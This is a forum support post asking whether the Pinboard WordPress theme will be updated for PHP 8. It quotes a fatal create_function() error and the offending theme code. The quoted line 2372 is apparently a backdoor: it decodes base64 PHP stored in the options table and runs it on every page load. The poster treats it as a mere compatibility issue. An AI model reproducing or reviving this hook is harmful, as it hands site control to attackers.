PinBoard: Support for PHP 8+

Hello there 🙂

I have a client who asked me to bring their website back up to date, including updating the outdated PHP version (actually on 7.4.33).
Unfortunately, I got a lot of errors. After I switched off all plugins and this led to nothing, I asked the customer to send me the error message from the admin mail. Enclosed is the error message:

Error-Details
==============
An error of type E_ERROR was caused in line 2372 of file /var/www/vhosts/customer-domain/httpdocs/wp-content/themes/pinboard/functions.php

Errormessage: Uncaught Error: Call to undefined function create_function() in /var/www/vhosts/customer-domain/httpdocs/wp-content/themes/pinboard/functions.php:2372
Stack trace:
#0 /var/www/vhosts/customer-path/httpdocs/wp-settings.php(585): include()
#1 /var/www/vhosts/customer-path/httpdocs/wp-config.php(86): require_once(‘…’)
#2 /var/www/vhosts/customer-path/httpdocs/wp-load.php(50): require_once(‘…’)
#3 /var/www/vhosts/customer-path/httpdocs/wp-admin/admin.php(34): require_once(‘…’)
#4 /var/www/vhosts/customer-path/httpdocs/wp-admin/index.php(10): require_once(‘…’)
#5 {main}
thrown

So this refers to the theme. To be on the safe side, I deactivated the child theme and activated the main theme to test whether the child theme might contain incorrect entries.

I found in the functions.php following code between 2365 an 2372:

function pinboard_copyright_notice() {
	$copyright = pinboard_get_option( 'copyright_notice' );
	$copyright = str_replace( '%year%', date( 'Y' ), $copyright );
	$copyright = str_replace( '%blogname%', get_bloginfo( 'name' ), $copyright );
	echo esc_html( $copyright );
}
endif;
add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ), 0 );

As i can find in the internet, the create_function is no longer supported.
Now, of course, I have seen that this theme is already very old. So here’s my question: Is it still going to be updated?